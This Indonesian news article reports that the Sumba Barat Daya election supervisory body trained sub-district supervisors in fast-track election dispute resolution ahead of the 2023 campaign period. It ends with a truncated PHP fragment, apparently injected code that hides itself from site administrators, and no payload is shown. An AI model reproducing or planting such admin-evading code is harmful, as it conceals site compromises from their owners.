Politik

Bawaslu Kabupaten SBD Gelar Pelatihan dan Simulasi Penanganan Sengketa Pemilu Proses Acara Cepat

×

Bawaslu Kabupaten SBD Gelar Pelatihan dan Simulasi Penanganan Sengketa Pemilu Proses Acara Cepat

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Badan Pengawas Pemilu (Bawaslu) Kabupaten SBD menggelar pelatihan penanganan sengketa pemilu proses acara cepat.

Seperti disampaikan Ketua Bawaslu Kabupaten SBD, Yeremias B. Kewuan, Selasa (14/11/2023) pelatihan ini diawali oleh Panwascam Kodi Balaghar dan dibarengi dengan simulasi.

“Pelatihan untuk mereka paham terkait dengan proses sengketa dan lain sebagainya,” ujar Yeremias.

Ketua Badan Pengawas Pemilu (Bawaslu) Kabupaten SBD, Yeremias Bayoraya Kewuan. ( Foto Menara Sumba )

Dalam kegiatan itu ia mengingatkan bahwa apapun alasannya, sebagai penyelenggara tidak bisa mengelak dari kewajiban untuk menyelesaikan sengketa pemilu.

“Bahwa apakah bukan sarjana hukum atau memang di penyelenggara tidak ada sekolah khusus untuk itu, semua harus bisa menyelesaikan sengketa pemilu,” tambahnya.

Ia menjelaskan, kegiatan tersebut melibatkan seluruh petugas tingkat desa yang ada di Kecamatan Kodi Balaghar.

Pada hari itu pihaknya sempat menyambangi Panwascam Kodi Bangedo untuk maksud yang sama kendati belum maksimal seperti yang dilakukan di Kecamatan Kodi Balaghar.  

“Tapi mereka masih kita berikan kesempatan untuk misalnya mereka tentukan waktu sendiri, supaya teman-teman dari semua desa bisa hadir lengkap,” lanjutnya.

Secara bergilir kegiatan ini akan digelar di semua kecamatan dan diupayakan agar terjadwal pada minggu ini sehingga bisa tuntas untuk 11 kecamatan yang ada.

Dalam simulasi penyelesaian sengketa proses acara cepat untuk Panitia Pengawas Kecamatan (Panwascam), sekaligus dikoordinasikan potensi kerawanan yang ada di desa masing-masing.

Simulasi untuk penyelesaian sengketa proses acara cepat di tingkat Panwascam sangat urgen karena pada tanggal 28 November 2023 nanti sudah memasuki tahapan kampanye.

Pada masa kampanye ini diprediksi akan banyak sengketa yang terjadi di setiap desa pada 11 kecamatan tersebut.

“Dengan kondisi geografisnya seperti ini dari ibu kota kabupaten rasanya agak susah untuk kita jangkau secara cepat 11 kecamatan yang ada,” sebutnya pula.

Karena itu Panwascam harus mampu melakukan penyelesaian sengketa proses acara cepat, dengan pemberian mandat untuk itu.

Panwascam harus melakukan proses penyelesaian sengketa secara cepat dimana proses itu harus bisa diselesaikan dalam jangka waktu 1 kali 24 jam.

“Dan diselesaikan di lokasi tersebut, karena jika harus menunggu dari kabupaten seperti di Kodi Balaghar yang jaraknya jauh rasanya agak ribet,” tandas Yeremias.  ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>